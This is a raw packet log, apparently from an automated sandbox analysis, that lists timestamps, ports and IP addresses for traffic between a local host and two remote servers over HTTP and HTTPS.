Sep 27, 2024 12:51:45.334538937 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334543943 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334578991 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.334950924 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334983110 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.334988117 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335017920 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335022926 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335051060 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335056067 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335083961 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335088015 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335118055 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335125923 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335151911 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335156918 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335191011 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335201979 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335235119 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335239887 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335267067 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335273981 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335303068 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335304022 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335334063 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335342884 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335367918 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335371971 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335403919 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335434914 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335474968 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335855961 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335889101 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335892916 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335922956 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335930109 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335956097 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335958004 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.335988998 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.335997105 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.336023092 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.336031914 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.336055994 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.336065054 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.336090088 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.336093903 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.336122990 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.336131096 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.336155891 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.336159945 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.336189032 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.336191893 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.336221933 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.336224079 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.336256981 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.336258888 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.336296082 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.338006020 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.338056087 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.339370966 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.339437008 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.339454889 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.339488983 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.339503050 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.339523077 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.339524984 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.339555979 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.339564085 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.339591026 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.339597940 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.339620113 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.339631081 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.339658976 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.356647968 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.361557007 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.361607075 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.361613035 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.361648083 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.361660004 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.361721992 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.361788034 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.361821890 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.361826897 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.361855984 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.361865044 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.361891031 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.361896992 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.361928940 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.361955881 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.361994982 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362078905 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362111092 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362118959 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362143040 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362154007 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362176895 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362179041 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362210035 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362212896 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362245083 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362251997 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362279892 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362555027 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362587929 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362598896 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362620115 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362629890 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362653017 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362660885 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362685919 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362698078 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362718105 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362729073 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362751961 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362766981 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362783909 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362792015 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362817049 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362826109 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362849951 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362863064 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362884045 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362890959 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362915039 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362924099 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362948895 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.362957954 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.362988949 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363363028 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363415003 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363430977 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363466978 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363482952 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363495111 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363497972 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363531113 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363535881 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363564968 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363574982 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363600016 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363610029 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363653898 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363722086 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363754034 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363771915 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363784075 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363786936 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363821983 CEST	80	49172	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:45.363832951 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.363859892 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:45.528109074 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:46.267697096 CEST	49172	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:49.134290934 CEST	80	49171	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:49.134361982 CEST	49171	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:50.217940092 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.217971087 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.218015909 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.221626997 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.221642971 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.682406902 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.682481050 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.687087059 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.687097073 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.687371969 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.737463951 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.779442072 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.840209007 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.840311050 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.840343952 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.840358019 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.840375900 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.840413094 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.840420008 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.840868950 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.840898991 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.840908051 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.841389894 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.841428041 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.841434956 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.841470957 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.841510057 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.841516972 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.842519999 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.842566967 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.844930887 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.927556992 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.927597046 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.927602053 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.927620888 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.927653074 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.927659035 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.928073883 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.928108931 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.928128958 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.928137064 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.928181887 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.928224087 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.928812027 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.928852081 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.928870916 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.928878069 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.928908110 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.928914070 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.929440975 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.929472923 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.929476976 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.929490089 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.929517031 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.929522038 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.930269957 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.930318117 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.930324078 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.930354118 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.930383921 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.930391073 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.930538893 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.930572033 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.930573940 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.930583954 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.930607080 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.983185053 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.983252048 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:50.983283997 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:50.983299971 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.015080929 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.015116930 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.015146017 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.015153885 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.015185118 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.015191078 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.015268087 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.015311003 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.015317917 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.015578985 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.015624046 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.015629053 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.015933037 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.015976906 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.015983105 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.017239094 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.017266035 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.017294884 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.017322063 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.017333031 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.017366886 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.019123077 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.019153118 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.019180059 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.019186974 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.019197941 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.019254923 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.262495041 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.262514114 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.262547016 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.262622118 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.262622118 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.262640953 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.263292074 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.263330936 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.263371944 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.263381004 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.263436079 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.264955044 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.264987946 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.265024900 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.265034914 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.265058041 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.265902042 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.265937090 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.265968084 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.265979052 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.266005039 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.266007900 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.266043901 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.266067028 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.278134108 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.278146982 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.278172016 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.278184891 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.278248072 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.278248072 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.278261900 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.278368950 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.279587030 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.279592991 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.279606104 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.279625893 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.279661894 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.279666901 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.279707909 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.279716015 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.279745102 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.279786110 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.282037020 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.282042980 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.282057047 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.282084942 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.282120943 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.282129049 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.282140970 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.282171965 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.282171965 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.282195091 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.282206059 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.282215118 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.282221079 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.282221079 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.282238007 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.282246113 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.282372952 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.282372952 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.283137083 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.283169031 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.283198118 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.283205986 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.283227921 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.284104109 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.284142017 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.284142971 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.284172058 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.284178972 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.284203053 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.284596920 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.365468979 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.365504980 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.365747929 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.365763903 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.366147041 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.366182089 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.366213083 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.366223097 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:51.366246939 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:51.367201090 CEST	443	49173	185.199.108.133	192.168.2.22
